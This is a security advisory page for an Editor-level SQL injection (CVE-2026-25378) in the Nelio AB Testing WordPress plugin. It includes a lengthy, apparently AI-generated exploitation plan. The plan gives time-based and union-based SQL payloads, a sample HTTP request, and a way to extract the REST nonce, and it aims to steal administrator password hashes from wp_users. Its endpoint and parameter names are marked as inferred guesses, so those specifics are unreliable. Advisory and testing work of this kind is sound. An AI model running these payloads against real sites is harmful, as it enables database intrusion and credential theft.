Nelio AB Testing <= 8.2.4 - Authenticated (Editor+) SQL Injection
Description
The Nelio AB Testing plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 8.2.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with editor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=8.2.4Source Code
WordPress.org SVNThis research plan outlines the steps to identify and exploit CVE-2026-25378, an authenticated SQL injection vulnerability in the Nelio A/B Testing plugin. ### 1. Vulnerability Summary **CVE-2026-25378** is a SQL injection vulnerability in the **Nelio A/B Testing** plugin (versions <= 8.2.4). The f…
Show full research plan
This research plan outlines the steps to identify and exploit CVE-2026-25378, an authenticated SQL injection vulnerability in the Nelio A/B Testing plugin.
1. Vulnerability Summary
CVE-2026-25378 is a SQL injection vulnerability in the Nelio A/B Testing plugin (versions <= 8.2.4). The flaw resides in the handling of user-supplied parameters within database queries used for reporting or experiment management. The plugin fails to adequately use $wpdb->prepare() or escape inputs, allowing an authenticated user with **Editor** privileges or higher to append arbitrary SQL commands. This can lead to the exfiltration of sensitive data, including administrator password hashes from the wp_users table.
2. Attack Vector Analysis
- Entry Point: Likely a REST API route registered under the
nelio-ab-testing/v1namespace or an AJAX action registered viawp_ajax_. - Vulnerable Parameter: Parameters related to filtering or sorting experiment data (e.g.,
id,experiment_id,orderby, ororder). - Authentication: Editor-level account (or higher).
- Preconditions: The plugin must be active, and at least one experiment may need to exist to trigger the relevant query logic.
3. Code Flow (Inferred)
- Registration: The plugin registers a REST route (e.g., in
includes/class-nelio-ab-testing-api.phporincludes/nelio-ab-testing-functions.php) with apermission_callbackthat checks foredit_postsormanage_options. - Request Handling: A request is sent to an endpoint like
/wp-json/nelio-ab-testing/v1/statsor/wp-json/nelio-ab-testing/v1/get-data. - Data Processing: The handler function retrieves parameters from the
WP_REST_Requestobject (e.g.,$request->get_param( 'id' )). - The Sink: The parameter is concatenated directly into a SQL string or passed to a helper function that builds a query without using
$wpdb->prepare(). - Execution:
$wpdb->get_results()is called with the malicious query string.
4. Nonce Acquisition Strategy
The Nelio A/B Testing plugin uses the standard WordPress REST API for its dashboard. To interact with these endpoints, a valid REST API nonce is required in the X-WP-Nonce header.
- Preparation: Create an Editor user and a page containing the Nelio dashboard scripts.
- Navigation: Navigate to the Nelio A/B Testing dashboard page (
/wp-admin/admin.php?page=nelio-ab-testing-main) while logged in as an Editor. - Extraction: The REST nonce is typically localized in the
wpApiSettingsobject.- Action: Use
browser_evalto extract the nonce:browser_eval("window.wpApiSettings?.nonce")
- Action: Use
- Alternative: If the plugin localizes its own settings, check:
browser_eval("window.nelioAbTestingSettings?.nonce")(inferred)
5. Exploitation Strategy
We will attempt a Time-Based Blind SQL Injection first, as it is most reliable for data extraction when results might not be directly reflected.
- Endpoint:
/wp-json/nelio-ab-testing/v1/stats(inferred - common for reporting plugins). - Method: GET or POST (depending on route registration).
- Payload (Time-based):
1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) - HTTP Request (Example):
POST /wp-json/nelio-ab-testing/v1/stats Host: localhost:8080 X-WP-Nonce: [EXTRACTED_NONCE] Content-Type: application/x-www-form-urlencoded id=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- - - Payload (Union-based - if output reflected):
1' UNION SELECT 1,user_login,user_pass,4,5 FROM wp_users-- -
6. Test Data Setup
- Install Plugin: Install and activate Nelio A/B Testing version 8.2.4.
- Create User: Create a user with the
editorrole.wp user create attacker attacker@example.com --role=editor --user_pass=password
- Initialize Plugin: Some plugins require a "setup" or a first experiment to populate tables.
- Use
wp post create --post_type=nab_experiment --post_title="Test Experiment" --post_status=publish(inferred post type).
- Use
- Identify Route: Use
wp rest route listto find all registered routes under thenelio-ab-testingnamespace.
7. Expected Results
- Vulnerability Confirmation: A request with a
SLEEP(5)payload should result in a response time significantly greater than 5 seconds. - Data Exposure: Successful extraction of the
user_passhash for the user withID = 1(the administrator).
8. Verification Steps
After the HTTP exploit, verify the database state and the payload's effect:
- Check SQL execution: If possible, enable the General Query Log in MySQL to see the final rendered query.
- Verify Admin Hash: Use WP-CLI to get the actual admin hash and compare it with the exfiltrated value.
wp user get 1 --field=user_pass
9. Alternative Approaches
- Boolean-based Blind: If time-based is blocked or unstable, compare the response length/status between
id=1 AND 1=1andid=1 AND 1=2. - Error-based: Inject
OR 1=1or syntax errors (likeextractvalue()) to see if the plugin returns$wpdb->last_errorin the response. - AJAX Endpoint: If REST routes are not vulnerable, check
admin-ajax.phpfor registered actions:grep -r "wp_ajax_nelio" .- Test actions like
nelio_get_statsornelio_load_experiment.
Summary
The Nelio AB Testing plugin for WordPress is vulnerable to SQL Injection in versions up to 8.2.4 due to the direct inclusion of user-supplied parameters in database queries without sufficient preparation or escaping. Authenticated attackers with Editor-level access can exploit this to extract sensitive data, including administrator password hashes, from the site's database.
Exploit Outline
1. Authenticate to the WordPress target as a user with Editor-level privileges or higher. 2. Navigate to the Nelio A/B Testing dashboard and extract the WordPress REST API nonce from the 'wpApiSettings' or 'nelioAbTestingSettings' localized JavaScript objects. 3. Identify a vulnerable REST API route registered by the plugin (likely under the 'nelio-ab-testing/v1' namespace), such as '/wp-json/nelio-ab-testing/v1/stats'. 4. Send a POST or GET request to the identified endpoint containing a SQL injection payload in a parameter like 'id', 'experiment_id', or 'orderby'. 5. Use a time-based blind injection payload (e.g., '1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)') to confirm the vulnerability by observing response time delays. 6. Proceed to exfiltrate administrative user hashes or other sensitive database contents using boolean-based or time-based blind SQLi techniques.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.